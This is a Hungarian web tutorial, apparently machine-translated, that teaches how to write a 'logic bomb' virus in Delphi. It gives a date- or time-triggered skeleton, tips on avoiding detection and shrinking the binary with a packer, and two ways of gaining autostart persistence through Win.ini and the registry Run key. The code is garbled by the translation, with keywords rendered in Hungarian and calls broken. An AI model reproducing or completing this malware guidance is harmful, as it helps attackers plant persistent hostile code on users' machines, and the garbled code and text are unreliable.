Logikai bomba - Delphi - Programozás - cikk Directory

Helló olvasó. Üdvözöljük a tutorial, hogy egy logikai bombát. Logikai bomba (ha nem tévedek) egyfajta vírus. Alapelve egyszerű. Ez fut egy adott programkód a teljesítménye bizonyos körülmények között. Gyakran ez az állapot az időt vagy a dátumot.







Szóval le a kódot:
0) Kezdés Delphi.
1) Új projekt létrehozása.
2) Vedd el forma a projekt. (Project => eltávolítani projekt => Válassza ki a forma => OK => ablak, el kell fogadnod => mindent! Form törölve)
3) Nyílt tér kódot írni (project => view source =>

Program log_bomb; // A név bármi lehet
A Windows; // plug-inek, mint kevesebbet. A jobb.
kezdődik
// Ha a dátum 1111/11/11 a kódot írt művek
Ha datetostr (dátum) = '11 .11.1111' , majd
Kezdje // között kezdődik
// Sam kód, amely végrehajtja az állapot
Vége;

És most néhány tippet.

1) Mindig a végén jobban levelet EXIT; Ne fogott nem pusztult - törvény vírusok.
2) Ha szükséges, a tűz a program egy bizonyos ideig. Meg kell írni a következő elemeket tartalmazza:







Ha timetostr (idő) = '22: 22' , akkor
kezdődik
// kód
Vége;

3) Néha, amikor csatlakoztatja sok modul a program lesz a „birodalmi nagyság”
Ezekben az esetekben szükséges használni ASPACK'om. Ez csökkenteni fogja a mérete mintegy kétszerese.

4) Mindig ellenőrizze az autostart. Lehet, hogy valami hasonlót már működik az Ön számára.

Most azt fogja mondani, hogyan kell ezt csinálni két módja van: a Win.ini és a regisztrációs adatbázisban. Folytassuk.

1) Egy módszer Win.ini

Ehhez tudnunk kell, hogy hogyan kell dolgozni INI fájlokat.

Program INIFI;
Felhasználás inifiles;

// kijelenti változó dolgozni ini fájlok
Var reg: tinifile;

kezdődik
// memóriát lefoglalni egy változó, nyissa meg a fájlt
reg: = tinifile.create ( 'Win.ini');
// Közvetlenül előírt
reg.writestring ( 'ablakot', 'run', application.ExeName);
// Release memória
reg.free;
exit;
végén.

Nézzük laknak ezen a vonalon több:

// Változó reg típusú karakterlánc bejegyzés, ami zárójelben van feltüntetve

2) A módszer segítségével a registry.

Nagyon hasonlít az 1. módszer), csak akkor működik a regisztrációs és egyéb tényezők. Szóval Folytassuk.

Program regis;
Felhasználás inifiles;

Var terhelés: treginifile;

// Válassza ki a ághoz
load.RootKey: = HKEY_LOCAL_MACHINE;

// Select gomb
load.OpenKey (softwaremicrosoftwindowscurrentversion ", false);

Load.free;
exit;
végén.

Ez egyszerű. Tekintsük a főbb pontok:

Peremennaya.Rootkey =
Peremennaya.openkey (kulcs neve)




Kapcsolódó cikkek